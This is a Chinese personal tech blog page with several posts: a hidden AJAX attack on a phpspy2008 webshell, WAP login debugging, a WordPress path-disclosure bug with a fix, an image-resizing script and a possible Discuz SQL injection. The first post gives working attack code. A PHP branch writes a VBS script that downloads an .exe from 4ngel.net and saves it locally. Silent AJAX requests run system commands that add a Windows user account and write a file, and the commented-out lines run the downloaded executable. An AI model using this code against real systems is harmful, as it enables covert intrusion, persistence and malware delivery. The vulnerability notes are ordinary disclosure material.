浏览模式: 标准 | 列表 技术相关

AJAX在安全方面的应用

本来想给小黑群里的人开个玩笑。谁知道经过小黑的csrf实例后,大家都先看代码了。这下我明白了。小黑用过的招数都不能再用了。再用就不灵了。因为小黑太黑,让人印象深刻。

还是记录一下吧,ajax真的是隐秘性很高。我是这样来利用的。比较彻底。

PHP代码
  1. elseif ($doing == 'writevbs') {   
  2.     $fp = @fopen('c:/angel.vbs','w');   
  3.     $vbs = "Set love = CreateObject(\"Microsoft.XMLHTTP\")\n".   
  4.         "love.Open \"GET\",\"http://www.4ngel.net/1.exe\",0\n".   
  5.         "love.Send()\n".   
  6.         "Set you = CreateObject(\"ADODB.Stream\")\n".   
  7.         "you.Mode = 3\n".   
  8.         "you.Type = 1\n".   
  9.         "you.Open()\n".   
  10.         "you.Write(love.responseBody)\n".   
  11.         "you.SaveToFile \"c:\\1.exe\",2";   
  12.     @fwrite($fp,$vbs);   
  13.     @fclose($fp);   
  14. }  

加了一段代码是生成一个VBS脚本。这段脚本的作用从4ngel.net上下载一个1.exe文件保存到他本地的1.exe,然后有一段是AJAX的功能代码。

JavaScript代码
  1. <script type="text/javascript">   
  2. var http_request = false;   
  3. function makeRequest(url, httpType, sendData) {   
  4.     http_request = false;   
  5.     if (!httpType) httpType = "GET";   
  6.   
  7.     if (window.XMLHttpRequest) { // Non-IE...   
  8.         http_request = new XMLHttpRequest();   
  9.         if (http_request.overrideMimeType) {   
  10.             http_request.overrideMimeType('text/plain');   
  11.         }   
  12.     } else if (window.ActiveXObject) { // IE   
  13.         try {   
  14.             http_request = new ActiveXObject("Msxml2.XMLHTTP");   
  15.         } catch (e) {   
  16.             try {   
  17.                 http_request = new ActiveXObject("Microsoft.XMLHTTP");   
  18.             } catch (e) {}   
  19.         }   
  20.     }   
  21.   
  22.     if (!http_request) {   
  23.         alert('Cannot send an XMLHTTP request');   
  24.         return false;   
  25.     }   
  26.   
  27.     http_request.open(httpType, url, true);   
  28.     http_request.setRequestHeader('Content-Type''application/x-www-form-urlencoded');   
  29.     http_request.send(sendData);   
  30. }   
  31. //makeRequest('<?=$self?>', 'POST', 'action=file&doing=writevbs');   
  32. //makeRequest('<?=$self?>', 'POST', 'action=shell&execfunc=system&command=c:\angel.vbs');   
  33. //makeRequest('<?=$self?>', 'POST', 'action=shell&execfunc=system&command=c:\1.exe');   
  34. makeRequest('<?=$self?>''POST''action=shell&execfunc=system&command=net user angel angel /add');   
  35. makeRequest('<?=$self?>''POST''action=shell&execfunc=system&command=echo my_name_is_angel > c:\\angel.txt');   
  36. </script>  

最后几句是以POST方式请求本地测试环境中的phpspy2008,调用命令执行功能,生成vbs,然后执行VBS。再执行下载的exe文件。不过我已经注释掉了。这样在本地测试是成功的。对待自己兄弟们不能这么心狠。所以就注释掉了。加了一个用户。

我只是想说。AJAX作为一个现在逐渐受到重视的技术,在强调增加用户体验的同时,带来的安全也是神不知鬼不觉的。因为他的请求。你根本察觉不到。更具体的应用还是要靠大家自己去领悟了。

Tags: ajax, 安全

对于WAP的一些测试和研究

最近有人和我反映wap功能登陆久了容易超时、有时甚至登陆不了。我这里的手机和浏览器都正常,但是为了解决这些问题,只有深入研究一下。原来是采用session验证后台,前台使用cookie验证,开始以为是session有问题,所以全部使用cookie+数据库多重验证,结果问题依旧存在,然后使用session+数据库多重验证,还是存在问题。

然后我查了网上的资料研究了一整天。查到一些有用的资料。
讨论地址:http://topic.csdn.net/t/20040826/09/3310602.html

结果发现有部分老的机器是不支持COOKIE的,然后我又下载了一些WAP浏览器来测试,结果发现,COOKIE的确没有保存。提示登陆成功,却没有COOKIE信息。说明不支持COOKIE,COOKIE是客户端的,而SESSION保存在服务器上,应该没有问题的吧,为了避免某些服务器SESSION设置不正常,我还特地指定了SESSION的保存目录。结果测试。我手中的智能手机,非常正常,还有两个WAP测试软件非常正常,而问朋友借的老款的,自带WAP浏览器的手机却不支持。登陆成功却没有读取到SESSION信息。然后用winwap4.0来测试,居然也读取不到SESSION信息。用OPERA也非常正常。记得以前BOB的掌上版是用SESSION纪录信息的,我下载来研究研究是怎么样的机制,结果没有想到,老款的手机和winwap,居然没有办法读取到SESSION信息。BOB的掌上版同样登陆成功后,由于SESSION读取失败,还是未登陆状态。同样,下载F2BLOG的WAP来测试。和BOB掌上版也一样的结果。

看来要达到通用,只有采用URL传递的方法,这样可以完全脱离COOKIE和SESSION,而直接采用数据库的方法,这样就可以保证无论在何种浏览器下,何种手机下,都可以正常使用的了。

Sablog-X 1.6版本不会包含WAP功能,而单独打包此功能。作为插件发布。而有空,我要和Bo-blog的作者BOB和F2blog的开发团队交流交流。统一一下插件的接口标准。和模块。争取一些简单的不设计数据库操作的插件,可以在三个程序上达到通用的目的。

PS:刚才还想看看几个论坛的WAP功能,是否有问题,结果发现PHPWIND的WAP功能,是采用COOKIE验证,所以老款手机和winwap都无法读取COOKIE信息,登陆成功了还是未登陆状态。而Discuz和Molyx则采用URL传递参数的办法,所以在任何环境下,WAP功能都非常正常。

Tags: wap

Wordpress物理路径暴露漏洞

wordpress 2.1.2 以及之前的版本

今天看了看wordpress模板的机制,发现存在了漏洞。大家可以认为这个漏洞不要紧。但是配合其他漏洞可以拿下WEB空间。权限允许可以拿下主机。

好久没有写漏洞的文章了,忘记格式了,呵呵,随便写写。

wordpress的模板文件,缺少访问验证,直接访问模板里的文件,就会泄露物理路径。这个不是PHP漏洞,是WordPress的漏洞。

比如访问:http://hostname/wordpress/wp-content/themes/default

就会显示:

Fatal error: Unknown function: get_header() in /home/public_html/yz/wp-content/themes/default/index.php on line 1

解决办法

在模板里的文件头部加上以下代码,可以防止泄露路径。

<?php
if(!defined('WP_USE_THEMES')) {
    exit(
'Access Denied');
}
?>

Tags: wordpress, 漏洞

让FCKeditor插入的图片自动缩小

这些终于解决把模板撑大的问题了。

<script language="JavaScript">
<!--
window.onload=fiximage;
function 
fiximage() {
    var 
max=600;
    
imgs document.getElementsByTagName('img');
    for(
i=0;i<imgs.length;i++) {
    
w=imgs[i].width;h=imgs[i].height;
    if(
w>max) { imgs[i].width=max;imgs[i].height=h/(w/max);}
    }
}
//-->
</script>

Discuz5安全漏洞——算不算呢?

topicadmin.php文件中的下面代码中,一看就是$accessadd1、$accessadd2这两个变量没有初始化。有可能引发SQL注射攻击。但实际我也没有时间和精力去测试。毕竟如果可以利用的话,要有一定权限哦。有兴趣的朋友可以自己看看。

if($adminid == 3) {
    if(
$accessmasks) {
    
$accessadd1 ', a.allowview, a.allowpost, a.allowreply, a.allowgetattach, a.allowpostattach';
    
$accessadd2 "LEFT JOIN {$tablepre}access a ON a.uid='$discuz_uid' AND a.fid='$moveto'";
    }
    
$query $db->query("SELECT ff.postperm, m.uid AS istargetmod $accessadd1
    FROM {$tablepre}forumfields ff
    $accessadd2
    LEFT JOIN {$tablepre}moderators m ON m.fid='$moveto' AND m.uid='$discuz_uid'
    WHERE ff.fid='$moveto'"
);
    
$priv $db->fetch_array($query);
    if(((
$priv['postperm'] && !in_array($groupidexplode("\t"$priv['postperm']))) || ($accessmasks && ($priv['allowview'] || $priv['allowreply'] || $priv['allowgetattach'] || $priv['allowpostattach']) && !$priv['allowpost'])) && !$priv['istargetmod']) {
    
showmessage('admin_copy_nopermission');
    }
}

Total:2312345Next ›